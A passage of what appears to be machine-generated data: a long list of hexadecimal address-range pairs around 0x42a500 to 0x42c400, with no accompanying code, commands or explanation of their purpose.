42a56b,0x42a570),(0x42a576,0x42a577),(0x42a57c,0x42a581),(0x42a587,0x42a588),(0x42a58d,0x42a592),(0x42a598,0x42a599),(0x42a59e,0x42a59e),(0x42a5a4,0x42a5a9),(0x42a5af,0x42a5b0),(0x42a5b5,0x42a5b5),(0x42a5bb,0x42a5c0),(0x42a5c6,0x42a5c7),(0x42a5cc,0x42a5d1),(0x42a5d7,0x42a5d8),(0x42a5dd,0x42a5e2),(0x42a5e8,0x42a5e9),(0x42a5ee,0x42a5ee),(0x42a5f4,0x42a5f9),(0x42a5ff,0x42a600),(0x42a605,0x42a60a),(0x42a610,0x42a611),(0x42a616,0x42a61b),(0x42a621,0x42a622),(0x42a627,0x42a627),(0x42a62d,0x42a632),(0x42a638,0x42a639),(0x42a63e,0x42a63e),(0x42a644,0x42a649),(0x42a64f,0x42a650),(0x42a655,0x42a655),(0x42a65b,0x42a660),(0x42a666,0x42a667),(0x42a66c,0x42a66c),(0x42a672,0x42a672),(0x42a677,0x42a67c),(0x42a682,0x42a683),(0x42a688,0x42a68d),(0x42a693,0x42a694),(0x42a699,0x42a699),(0x42a69f,0x42a6a4),(0x42a6aa,0x42a6ab),(0x42a6b0,0x42a6b5),(0x42a6bb,0x42a6bc),(0x42a6c1,0x42a6c6),(0x42a6cc,0x42a6cd),(0x42a6d2,0x42a6d2),(0x42a6d8,0x42a6dd),(0x42a6e3,0x42a6e4),(0x42a6e9,0x42a6e9),(0x42a6ef,0x42a6f4),(0x42a6fa,0x42a6fb),(0x42a700,0x42a705),(0x42a70b,0x42a70c),(0x42a711,0x42a716),(0x42a71c,0x42a71d),(0x42a722,0x42a722),(0x42a728,0x42a72d),(0x42a733,0x42a734),(0x42a739,0x42a73e),(0x42a744,0x42a745),(0x42a74a,0x42a74f),(0x42a755,0x42a756),(0x42a75b,0x42a75b),(0x42a761,0x42a766),(0x42a76c,0x42a76d),(0x42a772,0x42a772),(0x42a778,0x42a77d),(0x42a783,0x42a784),(0x42a789,0x42a789),(0x42a78f,0x42a78f),(0x42a794,0x42a799),(0x42a79f,0x42a7a0),(0x42a7a5,0x42a7aa),(0x42a7b0,0x42a7b1),(0x42a7b6,0x42a7b6),(0x42a7bc,0x42a7c1),(0x42a7c7,0x42a7c8),(0x42a7cd,0x42a7d2),(0x42a7d8,0x42a7d9),(0x42a7de,0x42a7e3),(0x42a7e9,0x42a7ea),(0x42a7ef,0x42a7ef),(0x42a7f5,0x42a7fa),(0x42a800,0x42a801),(0x42a806,0x42a806),(0x42a80c,0x42a811),(0x42a817,0x42a818),(0x42a81d,0x42a822),(0x42a828,0x42a829),(0x42a82e,0x42a833),(0x42a839,0x42a83a),(0x42a83f,0x42a83f),(0x42a845,0x42a84a),(0x42a850,0x42a851),(0x42a856,0x42a85b),(0x42a861,0x42a862),(0x42a867,0x42a86c),(0x42a872,0x42a873),(0x42a878,0x42a878),(0x42a87e,0x42a883),(0x42a889,0x42a88a),(0x42a88f,0x42a88f),(0x42a895,0x42a89a),(0x42a8a0,0x42a8a1),(0x42a8a6,0x42a8a6),(0x42a8ac,0x42a8b1),(0x42a8b7,0x42a8b8),(0x42a8bd,0x42a8bd),(0x42a8c3,0x42a8c8),(0x42a8ce,0x42a8cf),(0x42a8d4,0x42a8d4),(0x42a8da,0x42a8da),(0x42a8df,0x42a8e4),(0x42a8ea,0x42a8eb),(0x42a8f0,0x42a8f5),(0x42a8fb,0x42a8fc),(0x42a901,0x42a901),(0x42a907,0x42a90c),(0x42a912,0x42a913),(0x42a918,0x42a91d),(0x42a923,0x42a924),(0x42a929,0x42a92e),(0x42a934,0x42a935),(0x42a93a,0x42a93a),(0x42a940,0x42a945),(0x42a94b,0x42a94c),(0x42a951,0x42a951),(0x42a957,0x42a957),(0x42a95c,0x42a961),(0x42a967,0x42a968),(0x42a96d,0x42a972),(0x42a978,0x42a979),(0x42a97e,0x42a97e),(0x42a984,0x42a989),(0x42a98f,0x42a990),(0x42a995,0x42a99a),(0x42a9a0,0x42a9a1),(0x42a9a6,0x42a9ab),(0x42a9b1,0x42a9b2),(0x42a9b7,0x42a9b7),(0x42a9bd,0x42a9c2),(0x42a9c8,0x42a9c9),(0x42a9ce,0x42a9ce),(0x42a9d4,0x42a9d9),(0x42a9df,0x42a9e0),(0x42a9e5,0x42a9e5),(0x42a9eb,0x42a9eb),(0x42a9f0,0x42a9f5),(0x42a9fb,0x42a9fc),(0x42aa01,0x42aa06),(0x42aa0c,0x42aa0d),(0x42aa12,0x42aa12),(0x42aa18,0x42aa1d),(0x42aa23,0x42aa24),(0x42aa29,0x42aa2e),(0x42aa34,0x42aa35),(0x42aa3a,0x42aa3f),(0x42aa45,0x42aa46),(0x42aa4b,0x42aa4b),(0x42aa51,0x42aa56),(0x42aa5c,0x42aa5d),(0x42aa62,0x42aa62),(0x42aa68,0x42aa6d),(0x42aa73,0x42aa74),(0x42aa79,0x42aa7e),(0x42aa84,0x42aa85),(0x42aa8a,0x42aa8f),(0x42aa95,0x42aa96),(0x42aa9b,0x42aa9b),(0x42aaa1,0x42aaa6),(0x42aaac,0x42aaad),(0x42aab2,0x42aab7),(0x42aabd,0x42aabe),(0x42aac3,0x42aac8),(0x42aace,0x42aacf),(0x42aad4,0x42aad4),(0x42aada,0x42aadf),(0x42aae5,0x42aae6),(0x42aaeb,0x42aaeb),(0x42aaf1,0x42aaf6),(0x42aafc,0x42aafd),(0x42ab02,0x42ab02),(0x42ab08,0x42ab0d),(0x42ab13,0x42ab14),(0x42ab19,0x42ab19),(0x42ab1f,0x42ab1f),(0x42ab24,0x42ab29),(0x42ab2f,0x42ab30),(0x42ab35,0x42ab3a),(0x42ab40,0x42ab41),(0x42ab46,0x42ab46),(0x42ab4c,0x42ab51),(0x42ab57,0x42ab58),(0x42ab5d,0x42ab62),(0x42ab68,0x42ab69),(0x42ab6e,0x42ab73),(0x42ab79,0x42ab7a),(0x42ab7f,0x42ab7f),(0x42ab85,0x42ab8a),(0x42ab90,0x42ab91),(0x42ab96,0x42ab96),(0x42ab9c,0x42aba1),(0x42aba7,0x42aba8),(0x42abad,0x42abb2),(0x42abb8,0x42abb9),(0x42abbe,0x42abc3),(0x42abc9,0x42abca),(0x42abcf,0x42abcf),(0x42abd5,0x42abda),(0x42abe0,0x42abe1),(0x42abe6,0x42abeb),(0x42abf1,0x42abf2),(0x42abf7,0x42abfc),(0x42ac02,0x42ac03),(0x42ac08,0x42ac08),(0x42ac0e,0x42ac13),(0x42ac19,0x42ac1a),(0x42ac1f,0x42ac1f),(0x42ac25,0x42ac2a),(0x42ac30,0x42ac31),(0x42ac36,0x42ac36),(0x42ac3c,0x42ac3c),(0x42ac41,0x42ac46),(0x42ac4c,0x42ac4d),(0x42ac52,0x42ac57),(0x42ac5d,0x42ac5e),(0x42ac63,0x42ac63),(0x42ac69,0x42ac6e),(0x42ac74,0x42ac75),(0x42ac7a,0x42ac7f),(0x42ac85,0x42ac86),(0x42ac8b,0x42ac90),(0x42ac96,0x42ac97),(0x42ac9c,0x42ac9c),(0x42aca2,0x42aca7),(0x42acad,0x42acae),(0x42acb3,0x42acb3),(0x42acb9,0x42acbe),(0x42acc4,0x42acc5),(0x42acca,0x42accf),(0x42acd5,0x42acd6),(0x42acdb,0x42ace0),(0x42ace6,0x42ace7),(0x42acec,0x42acec),(0x42acf2,0x42acf7),(0x42acfd,0x42acfe),(0x42ad03,0x42ad08),(0x42ad0e,0x42ad0f),(0x42ad14,0x42ad19),(0x42ad1f,0x42ad20),(0x42ad25,0x42ad25),(0x42ad2b,0x42ad30),(0x42ad36,0x42ad37),(0x42ad3c,0x42ad3c),(0x42ad42,0x42ad47),(0x42ad4d,0x42ad4e),(0x42ad53,0x42ad53),(0x42ad59,0x42ad5e),(0x42ad64,0x42ad65),(0x42ad6a,0x42ad6a),(0x42ad70,0x42ad75),(0x42ad7b,0x42ad7c),(0x42ad81,0x42ad81),(0x42ad87,0x42ad8c),(0x42ad92,0x42ad93),(0x42ad98,0x42ad98),(0x42ad9e,0x42ad9e),(0x42ada3,0x42ada8),(0x42adae,0x42adaf),(0x42adb4,0x42adb9),(0x42adbf,0x42adc0),(0x42adc5,0x42adc5),(0x42adcb,0x42add0),(0x42add6,0x42add7),(0x42addc,0x42ade1),(0x42ade7,0x42ade8),(0x42aded,0x42adf2),(0x42adf8,0x42adf9),(0x42adfe,0x42adfe),(0x42ae04,0x42ae09),(0x42ae0f,0x42ae10),(0x42ae15,0x42ae15),(0x42ae1b,0x42ae1b),(0x42ae20,0x42ae25),(0x42ae2b,0x42ae2c),(0x42ae31,0x42ae36),(0x42ae3c,0x42ae3d),(0x42ae42,0x42ae42),(0x42ae48,0x42ae4d),(0x42ae53,0x42ae54),(0x42ae59,0x42ae5e),(0x42ae64,0x42ae65),(0x42ae6a,0x42ae6f),(0x42ae75,0x42ae76),(0x42ae7b,0x42ae7b),(0x42ae81,0x42ae86),(0x42ae8c,0x42ae8d),(0x42ae92,0x42ae92),(0x42ae98,0x42ae9d),(0x42aea3,0x42aea4),(0x42aea9,0x42aea9),(0x42aeaf,0x42aeaf),(0x42aeb4,0x42aeb9),(0x42aebf,0x42aec0),(0x42aec5,0x42aeca),(0x42aed0,0x42aed1),(0x42aed6,0x42aed6),(0x42aedc,0x42aee1),(0x42aee7,0x42aee8),(0x42aeed,0x42aef2),(0x42aef8,0x42aef9),(0x42aefe,0x42af03),(0x42af09,0x42af0a),(0x42af0f,0x42af0f),(0x42af15,0x42af1a),(0x42af20,0x42af21),(0x42af26,0x42af26),(0x42af2c,0x42af31),(0x42af37,0x42af38),(0x42af3d,0x42af42),(0x42af48,0x42af49),(0x42af4e,0x42af53),(0x42af59,0x42af5a),(0x42af5f,0x42af5f),(0x42af65,0x42af6a),(0x42af70,0x42af71),(0x42af76,0x42af7b),(0x42af81,0x42af82),(0x42af87,0x42af8c),(0x42af92,0x42af93),(0x42af98,0x42af98),(0x42af9e,0x42afa3),(0x42afa9,0x42afaa),(0x42afaf,0x42afaf),(0x42afb5,0x42afba),(0x42afc0,0x42afc1),(0x42afc6,0x42afc6),(0x42afcc,0x42afd1),(0x42afd7,0x42afd8),(0x42afdd,0x42afdd),(0x42afe3,0x42afe3),(0x42afe8,0x42afed),(0x42aff3,0x42aff4),(0x42aff9,0x42affe),(0x42b004,0x42b005),(0x42b00a,0x42b00a),(0x42b010,0x42b015),(0x42b01b,0x42b01c),(0x42b021,0x42b026),(0x42b02c,0x42b02d),(0x42b032,0x42b037),(0x42b03d,0x42b03e),(0x42b043,0x42b043),(0x42b049,0x42b04e),(0x42b054,0x42b055),(0x42b05a,0x42b05a),(0x42b060,0x42b065),(0x42b06b,0x42b06c),(0x42b071,0x42b076),(0x42b07c,0x42b07d),(0x42b082,0x42b087),(0x42b08d,0x42b08e),(0x42b093,0x42b093),(0x42b099,0x42b09e),(0x42b0a4,0x42b0a5),(0x42b0aa,0x42b0af),(0x42b0b5,0x42b0b6),(0x42b0bb,0x42b0c0),(0x42b0c6,0x42b0c7),(0x42b0cc,0x42b0cc),(0x42b0d2,0x42b0d7),(0x42b0dd,0x42b0de),(0x42b0e3,0x42b0e3),(0x42b0e9,0x42b0ee),(0x42b0f4,0x42b0f5),(0x42b0fa,0x42b0fa),(0x42b100,0x42b100),(0x42b105,0x42b10a),(0x42b110,0x42b111),(0x42b116,0x42b11b),(0x42b121,0x42b122),(0x42b127,0x42b127),(0x42b12d,0x42b132),(0x42b138,0x42b139),(0x42b13e,0x42b143),(0x42b149,0x42b14a),(0x42b14f,0x42b154),(0x42b15a,0x42b15b),(0x42b160,0x42b160),(0x42b166,0x42b16b),(0x42b171,0x42b172),(0x42b177,0x42b177),(0x42b17d,0x42b182),(0x42b188,0x42b189),(0x42b18e,0x42b193),(0x42b199,0x42b19a),(0x42b19f,0x42b1a4),(0x42b1aa,0x42b1ab),(0x42b1b0,0x42b1b0),(0x42b1b6,0x42b1bb),(0x42b1c1,0x42b1c2),(0x42b1c7,0x42b1cc),(0x42b1d2,0x42b1d3),(0x42b1d8,0x42b1dd),(0x42b1e3,0x42b1e4),(0x42b1e9,0x42b1e9),(0x42b1ef,0x42b1f4),(0x42b1fa,0x42b1fb),(0x42b200,0x42b200),(0x42b206,0x42b20b),(0x42b211,0x42b212),(0x42b217,0x42b217),(0x42b21d,0x42b222),(0x42b228,0x42b229),(0x42b22e,0x42b22e),(0x42b234,0x42b239),(0x42b23f,0x42b240),(0x42b245,0x42b245),(0x42b24b,0x42b24b),(0x42b250,0x42b255),(0x42b25b,0x42b25c),(0x42b261,0x42b266),(0x42b26c,0x42b26d),(0x42b272,0x42b272),(0x42b278,0x42b27d),(0x42b283,0x42b284),(0x42b289,0x42b28e),(0x42b294,0x42b295),(0x42b29a,0x42b29f),(0x42b2a5,0x42b2a6),(0x42b2ab,0x42b2ab),(0x42b2b1,0x42b2b6),(0x42b2bc,0x42b2bd),(0x42b2c2,0x42b2c2),(0x42b2c8,0x42b2cd),(0x42b2d3,0x42b2d4),(0x42b2d9,0x42b2de),(0x42b2e4,0x42b2e5),(0x42b2ea,0x42b2ef),(0x42b2f5,0x42b2f6),(0x42b2fb,0x42b2fb),(0x42b301,0x42b306),(0x42b30c,0x42b30d),(0x42b312,0x42b317),(0x42b31d,0x42b31e),(0x42b323,0x42b328),(0x42b32e,0x42b32f),(0x42b334,0x42b334),(0x42b33a,0x42b33f),(0x42b345,0x42b346),(0x42b34b,0x42b34b),(0x42b351,0x42b356),(0x42b35c,0x42b35d),(0x42b362,0x42b362),(0x42b368,0x42b368),(0x42b36d,0x42b372),(0x42b378,0x42b379),(0x42b37e,0x42b383),(0x42b389,0x42b38a),(0x42b38f,0x42b38f),(0x42b395,0x42b39a),(0x42b3a0,0x42b3a1),(0x42b3a6,0x42b3ab),(0x42b3b1,0x42b3b2),(0x42b3b7,0x42b3bc),(0x42b3c2,0x42b3c3),(0x42b3c8,0x42b3c8),(0x42b3ce,0x42b3d3),(0x42b3d9,0x42b3da),(0x42b3df,0x42b3df),(0x42b3e5,0x42b3ea),(0x42b3f0,0x42b3f1),(0x42b3f6,0x42b3fb),(0x42b401,0x42b402),(0x42b407,0x42b40c),(0x42b412,0x42b413),(0x42b418,0x42b418),(0x42b41e,0x42b423),(0x42b429,0x42b42a),(0x42b42f,0x42b434),(0x42b43a,0x42b43b),(0x42b440,0x42b445),(0x42b44b,0x42b44c),(0x42b451,0x42b451),(0x42b457,0x42b45c),(0x42b462,0x42b463),(0x42b468,0x42b468),(0x42b46e,0x42b473),(0x42b479,0x42b47a),(0x42b47f,0x42b47f),(0x42b485,0x42b48a),(0x42b490,0x42b491),(0x42b496,0x42b496),(0x42b49c,0x42b49c),(0x42b4a1,0x42b4a6),(0x42b4ac,0x42b4ad),(0x42b4b2,0x42b4b7),(0x42b4bd,0x42b4be),(0x42b4c3,0x42b4c3),(0x42b4c9,0x42b4ce),(0x42b4d4,0x42b4d5),(0x42b4da,0x42b4df),(0x42b4e5,0x42b4e6),(0x42b4eb,0x42b4f0),(0x42b4f6,0x42b4f7),(0x42b4fc,0x42b4fc),(0x42b502,0x42b507),(0x42b50d,0x42b50e),(0x42b513,0x42b513),(0x42b519,0x42b51e),(0x42b524,0x42b525),(0x42b52a,0x42b52f),(0x42b535,0x42b536),(0x42b53b,0x42b540),(0x42b546,0x42b547),(0x42b54c,0x42b54c),(0x42b552,0x42b557),(0x42b55d,0x42b55e),(0x42b563,0x42b568),(0x42b56e,0x42b56f),(0x42b574,0x42b579),(0x42b57f,0x42b580),(0x42b585,0x42b585),(0x42b58b,0x42b590),(0x42b596,0x42b597),(0x42b59c,0x42b59c),(0x42b5a2,0x42b5a7),(0x42b5ad,0x42b5ae),(0x42b5b3,0x42b5b3),(0x42b5b9,0x42b5b9),(0x42b5be,0x42b5c3),(0x42b5c9,0x42b5ca),(0x42b5cf,0x42b5d4),(0x42b5da,0x42b5db),(0x42b5e0,0x42b5e0),(0x42b5e6,0x42b5eb),(0x42b5f1,0x42b5f2),(0x42b5f7,0x42b5fc),(0x42b602,0x42b603),(0x42b608,0x42b60d),(0x42b613,0x42b614),(0x42b619,0x42b619),(0x42b61f,0x42b624),(0x42b62a,0x42b62b),(0x42b630,0x42b630),(0x42b636,0x42b63b),(0x42b641,0x42b642),(0x42b647,0x42b64c),(0x42b652,0x42b653),(0x42b658,0x42b65d),(0x42b663,0x42b664),(0x42b669,0x42b669),(0x42b66f,0x42b674),(0x42b67a,0x42b67b),(0x42b680,0x42b685),(0x42b68b,0x42b68c),(0x42b691,0x42b696),(0x42b69c,0x42b69d),(0x42b6a2,0x42b6a2),(0x42b6a8,0x42b6ad),(0x42b6b3,0x42b6b4),(0x42b6b9,0x42b6b9),(0x42b6bf,0x42b6c4),(0x42b6ca,0x42b6cb),(0x42b6d0,0x42b6d0),(0x42b6d6,0x42b6db),(0x42b6e1,0x42b6e2),(0x42b6e7,0x42b6e7),(0x42b6ed,0x42b6f2),(0x42b6f8,0x42b6f9),(0x42b6fe,0x42b6fe),(0x42b704,0x42b709),(0x42b70f,0x42b710),(0x42b715,0x42b715),(0x42b71b,0x42b720),(0x42b726,0x42b727),(0x42b72c,0x42b72c),(0x42b732,0x42b732),(0x42b737,0x42b73c),(0x42b742,0x42b743),(0x42b748,0x42b74d),(0x42b753,0x42b754),(0x42b759,0x42b759),(0x42b75f,0x42b764),(0x42b76a,0x42b76b),(0x42b770,0x42b775),(0x42b77b,0x42b77c),(0x42b781,0x42b786),(0x42b78c,0x42b78d),(0x42b792,0x42b792),(0x42b798,0x42b79d),(0x42b7a3,0x42b7a4),(0x42b7a9,0x42b7a9),(0x42b7af,0x42b7af),(0x42b7b4,0x42b7b9),(0x42b7bf,0x42b7c0),(0x42b7c5,0x42b7ca),(0x42b7d0,0x42b7d1),(0x42b7d6,0x42b7d6),(0x42b7dc,0x42b7e1),(0x42b7e7,0x42b7e8),(0x42b7ed,0x42b7f2),(0x42b7f8,0x42b7f9),(0x42b7fe,0x42b803),(0x42b809,0x42b80a),(0x42b80f,0x42b80f),(0x42b815,0x42b81a),(0x42b820,0x42b821),(0x42b826,0x42b826),(0x42b82c,0x42b831),(0x42b837,0x42b838),(0x42b83d,0x42b83d),(0x42b843,0x42b843),(0x42b848,0x42b84d),(0x42b853,0x42b854),(0x42b859,0x42b85e),(0x42b864,0x42b865),(0x42b86a,0x42b86a),(0x42b870,0x42b875),(0x42b87b,0x42b87c),(0x42b881,0x42b886),(0x42b88c,0x42b88d),(0x42b892,0x42b897),(0x42b89d,0x42b89e),(0x42b8a3,0x42b8a3),(0x42b8a9,0x42b8ae),(0x42b8b4,0x42b8b5),(0x42b8ba,0x42b8ba),(0x42b8c0,0x42b8c5),(0x42b8cb,0x42b8cc),(0x42b8d1,0x42b8d6),(0x42b8dc,0x42b8dd),(0x42b8e2,0x42b8e7),(0x42b8ed,0x42b8ee),(0x42b8f3,0x42b8f3),(0x42b8f9,0x42b8fe),(0x42b904,0x42b905),(0x42b90a,0x42b90f),(0x42b915,0x42b916),(0x42b91b,0x42b920),(0x42b926,0x42b927),(0x42b92c,0x42b92c),(0x42b932,0x42b937),(0x42b93d,0x42b93e),(0x42b943,0x42b943),(0x42b949,0x42b94e),(0x42b954,0x42b955),(0x42b95a,0x42b95a),(0x42b960,0x42b965),(0x42b96b,0x42b96c),(0x42b971,0x42b971),(0x42b977,0x42b977),(0x42b97c,0x42b981),(0x42b987,0x42b988),(0x42b98d,0x42b992),(0x42b998,0x42b999),(0x42b99e,0x42b99e),(0x42b9a4,0x42b9a9),(0x42b9af,0x42b9b0),(0x42b9b5,0x42b9ba),(0x42b9c0,0x42b9c1),(0x42b9c6,0x42b9cb),(0x42b9d1,0x42b9d2),(0x42b9d7,0x42b9d7),(0x42b9dd,0x42b9e2),(0x42b9e8,0x42b9e9),(0x42b9ee,0x42b9ee),(0x42b9f4,0x42b9f9),(0x42b9ff,0x42ba00),(0x42ba05,0x42ba0a),(0x42ba10,0x42ba11),(0x42ba16,0x42ba1b),(0x42ba21,0x42ba22),(0x42ba27,0x42ba27),(0x42ba2d,0x42ba32),(0x42ba38,0x42ba39),(0x42ba3e,0x42ba43),(0x42ba49,0x42ba4a),(0x42ba4f,0x42ba54),(0x42ba5a,0x42ba5b),(0x42ba60,0x42ba60),(0x42ba66,0x42ba6b),(0x42ba71,0x42ba72),(0x42ba77,0x42ba77),(0x42ba7d,0x42ba82),(0x42ba88,0x42ba89),(0x42ba8e,0x42ba8e),(0x42ba94,0x42ba94),(0x42ba99,0x42ba9e),(0x42baa4,0x42baa5),(0x42baaa,0x42baaf),(0x42bab5,0x42bab6),(0x42babb,0x42babb),(0x42bac1,0x42bac6),(0x42bacc,0x42bacd),(0x42bad2,0x42bad7),(0x42badd,0x42bade),(0x42bae3,0x42bae8),(0x42baee,0x42baef),(0x42baf4,0x42baf4),(0x42bafa,0x42baff),(0x42bb05,0x42bb06),(0x42bb0b,0x42bb0b),(0x42bb11,0x42bb16),(0x42bb1c,0x42bb1d),(0x42bb22,0x42bb27),(0x42bb2d,0x42bb2e),(0x42bb33,0x42bb38),(0x42bb3e,0x42bb3f),(0x42bb44,0x42bb44),(0x42bb4a,0x42bb4f),(0x42bb55,0x42bb56),(0x42bb5b,0x42bb60),(0x42bb66,0x42bb67),(0x42bb6c,0x42bb71),(0x42bb77,0x42bb78),(0x42bb7d,0x42bb7d),(0x42bb83,0x42bb88),(0x42bb8e,0x42bb8f),(0x42bb94,0x42bb94),(0x42bb9a,0x42bb9f),(0x42bba5,0x42bba6),(0x42bbab,0x42bbab),(0x42bbb1,0x42bbb6),(0x42bbbc,0x42bbbd),(0x42bbc2,0x42bbc2),(0x42bbc8,0x42bbcd),(0x42bbd3,0x42bbd4),(0x42bbd9,0x42bbd9),(0x42bbdf,0x42bbdf),(0x42bbe4,0x42bbe9),(0x42bbef,0x42bbf0),(0x42bbf5,0x42bbfa),(0x42bc00,0x42bc01),(0x42bc06,0x42bc06),(0x42bc0c,0x42bc11),(0x42bc17,0x42bc18),(0x42bc1d,0x42bc22),(0x42bc28,0x42bc29),(0x42bc2e,0x42bc33),(0x42bc39,0x42bc3a),(0x42bc3f,0x42bc3f),(0x42bc45,0x42bc4a),(0x42bc50,0x42bc51),(0x42bc56,0x42bc56),(0x42bc5c,0x42bc61),(0x42bc67,0x42bc68),(0x42bc6d,0x42bc72),(0x42bc78,0x42bc79),(0x42bc7e,0x42bc83),(0x42bc89,0x42bc8a),(0x42bc8f,0x42bc8f),(0x42bc95,0x42bc9a),(0x42bca0,0x42bca1),(0x42bca6,0x42bcab),(0x42bcb1,0x42bcb2),(0x42bcb7,0x42bcbc),(0x42bcc2,0x42bcc3),(0x42bcc8,0x42bcc8),(0x42bcce,0x42bcd3),(0x42bcd9,0x42bcda),(0x42bcdf,0x42bcdf),(0x42bce5,0x42bcea),(0x42bcf0,0x42bcf1),(0x42bcf6,0x42bcf6),(0x42bcfc,0x42bcfc),(0x42bd01,0x42bd06),(0x42bd0c,0x42bd0d),(0x42bd12,0x42bd17),(0x42bd1d,0x42bd1e),(0x42bd23,0x42bd23),(0x42bd29,0x42bd2e),(0x42bd34,0x42bd35),(0x42bd3a,0x42bd3f),(0x42bd45,0x42bd46),(0x42bd4b,0x42bd50),(0x42bd56,0x42bd57),(0x42bd5c,0x42bd5c),(0x42bd62,0x42bd67),(0x42bd6d,0x42bd6e),(0x42bd73,0x42bd73),(0x42bd79,0x42bd7e),(0x42bd84,0x42bd85),(0x42bd8a,0x42bd8f),(0x42bd95,0x42bd96),(0x42bd9b,0x42bda0),(0x42bda6,0x42bda7),(0x42bdac,0x42bdac),(0x42bdb2,0x42bdb7),(0x42bdbd,0x42bdbe),(0x42bdc3,0x42bdc8),(0x42bdce,0x42bdcf),(0x42bdd4,0x42bdd9),(0x42bddf,0x42bde0),(0x42bde5,0x42bde5),(0x42bdeb,0x42bdf0),(0x42bdf6,0x42bdf7),(0x42bdfc,0x42bdfc),(0x42be02,0x42be07),(0x42be0d,0x42be0e),(0x42be13,0x42be13),(0x42be19,0x42be1e),(0x42be24,0x42be25),(0x42be2a,0x42be2a),(0x42be30,0x42be30),(0x42be35,0x42be3a),(0x42be40,0x42be41),(0x42be46,0x42be4b),(0x42be51,0x42be52),(0x42be57,0x42be57),(0x42be5d,0x42be62),(0x42be68,0x42be69),(0x42be6e,0x42be73),(0x42be79,0x42be7a),(0x42be7f,0x42be84),(0x42be8a,0x42be8b),(0x42be90,0x42be90),(0x42be96,0x42be9b),(0x42bea1,0x42bea2),(0x42bea7,0x42bea7),(0x42bead,0x42beb2),(0x42beb8,0x42beb9),(0x42bebe,0x42bec3),(0x42bec9,0x42beca),(0x42becf,0x42bed4),(0x42beda,0x42bedb),(0x42bee0,0x42bee0),(0x42bee6,0x42beeb),(0x42bef1,0x42bef2),(0x42bef7,0x42befc),(0x42bf02,0x42bf03),(0x42bf08,0x42bf0d),(0x42bf13,0x42bf14),(0x42bf19,0x42bf19),(0x42bf1f,0x42bf24),(0x42bf2a,0x42bf2b),(0x42bf30,0x42bf30),(0x42bf36,0x42bf3b),(0x42bf41,0x42bf42),(0x42bf47,0x42bf47),(0x42bf4d,0x42bf4d),(0x42bf52,0x42bf57),(0x42bf5d,0x42bf5e),(0x42bf63,0x42bf68),(0x42bf6e,0x42bf6f),(0x42bf74,0x42bf74),(0x42bf7a,0x42bf7f),(0x42bf85,0x42bf86),(0x42bf8b,0x42bf90),(0x42bf96,0x42bf97),(0x42bf9c,0x42bfa1),(0x42bfa7,0x42bfa8),(0x42bfad,0x42bfad),(0x42bfb3,0x42bfb8),(0x42bfbe,0x42bfbf),(0x42bfc4,0x42bfc4),(0x42bfca,0x42bfcf),(0x42bfd5,0x42bfd6),(0x42bfdb,0x42bfe0),(0x42bfe6,0x42bfe7),(0x42bfec,0x42bff1),(0x42bff7,0x42bff8),(0x42bffd,0x42bffd),(0x42c003,0x42c008),(0x42c00e,0x42c00f),(0x42c014,0x42c019),(0x42c01f,0x42c020),(0x42c025,0x42c02a),(0x42c030,0x42c031),(0x42c036,0x42c036),(0x42c03c,0x42c041),(0x42c047,0x42c048),(0x42c04d,0x42c04d),(0x42c053,0x42c058),(0x42c05e,0x42c05f),(0x42c064,0x42c064),(0x42c06a,0x42c06f),(0x42c075,0x42c076),(0x42c07b,0x42c07b),(0x42c081,0x42c086),(0x42c08c,0x42c08d),(0x42c092,0x42c092),(0x42c098,0x42c09d),(0x42c0a3,0x42c0a4),(0x42c0a9,0x42c0a9),(0x42c0af,0x42c0af),(0x42c0b4,0x42c0b9),(0x42c0bf,0x42c0c0),(0x42c0c5,0x42c0ca),(0x42c0d0,0x42c0d1),(0x42c0d6,0x42c0d6),(0x42c0dc,0x42c0e1),(0x42c0e7,0x42c0e8),(0x42c0ed,0x42c0f2),(0x42c0f8,0x42c0f9),(0x42c0fe,0x42c103),(0x42c109,0x42c10a),(0x42c10f,0x42c10f),(0x42c115,0x42c11a),(0x42c120,0x42c121),(0x42c126,0x42c126),(0x42c12c,0x42c12c),(0x42c131,0x42c136),(0x42c13c,0x42c13d),(0x42c142,0x42c147),(0x42c14d,0x42c14e),(0x42c153,0x42c153),(0x42c159,0x42c15e),(0x42c164,0x42c165),(0x42c16a,0x42c16f),(0x42c175,0x42c176),(0x42c17b,0x42c180),(0x42c186,0x42c187),(0x42c18c,0x42c18c),(0x42c192,0x42c197),(0x42c19d,0x42c19e),(0x42c1a3,0x42c1a3),(0x42c1a9,0x42c1ae),(0x42c1b4,0x42c1b5),(0x42c1ba,0x42c1ba),(0x42c1c0,0x42c1c0),(0x42c1c5,0x42c1ca),(0x42c1d0,0x42c1d1),(0x42c1d6,0x42c1db),(0x42c1e1,0x42c1e2),(0x42c1e7,0x42c1e7),(0x42c1ed,0x42c1f2),(0x42c1f8,0x42c1f9),(0x42c1fe,0x42c203),(0x42c209,0x42c20a),(0x42c20f,0x42c214),(0x42c21a,0x42c21b),(0x42c220,0x42c220),(0x42c226,0x42c22b),(0x42c231,0x42c232),(0x42c237,0x42c237),(0x42c23d,0x42c242),(0x42c248,0x42c249),(0x42c24e,0x42c253),(0x42c259,0x42c25a),(0x42c25f,0x42c264),(0x42c26a,0x42c26b),(0x42c270,0x42c270),(0x42c276,0x42c27b),(0x42c281,0x42c282),(0x42c287,0x42c28c),(0x42c292,0x42c293),(0x42c298,0x42c29d),(0x42c2a3,0x42c2a4),(0x42c2a9,0x42c2a9),(0x42c2af,0x42c2b4),(0x42c2ba,0x42c2bb),(0x42c2c0,0x42c2c0),(0x42c2c6,0x42c2cb),(0x42c2d1,0x42c2d2),(0x42c2d7,0x42c2d7),(0x42c2dd,0x42c2e2),(0x42c2e8,0x42c2e9),(0x42c2ee,0x42c2ee),(0x42c2f4,0x42c2f4),(0x42c2f9,0x42c2fe),(0x42c304,0x42c305),(0x42c30a,0x42c30f),(0x42c315,0x42c316),(0x42c31b,0x42c31b),(0x42c321,0x42c326),(0x42c32c,0x42c32d),(0x42c332,0x42c337),(0x42c33d,0x42c33e),(0x42c343,0x42c348),(0x42c34e,0x42c34f),(0x42c354,0x42c354),(0x42c35a,0x42c35f),(0x42c365,0x42c366),(0x42c36b,0x42c36b),(0x42c371,0x42c376),(0x42c37c,0x42c37d),(0x42c382,0x42c387),(0x42c38d,0x42c38e),(0x42c393,0x42c398),(0x42c39e,0x42c39f),(0x42c3a4,0x42c3a4),(0x42c3aa,0x42c3af),(0x42c3b5,0x42c3b6),(0x42c3bb,0x42c3c0),(0x42c3c6,0x42c3c7),(0x42c3cc,0x42c3d1),(0x42c3d7,0x42c3d8),(0x42c3dd,0x42c3dd),(0x42c3e3,0x42c3e8),(0x42c3ee,0x42c3ef),(0x42c3f4,0x42c3f4),(0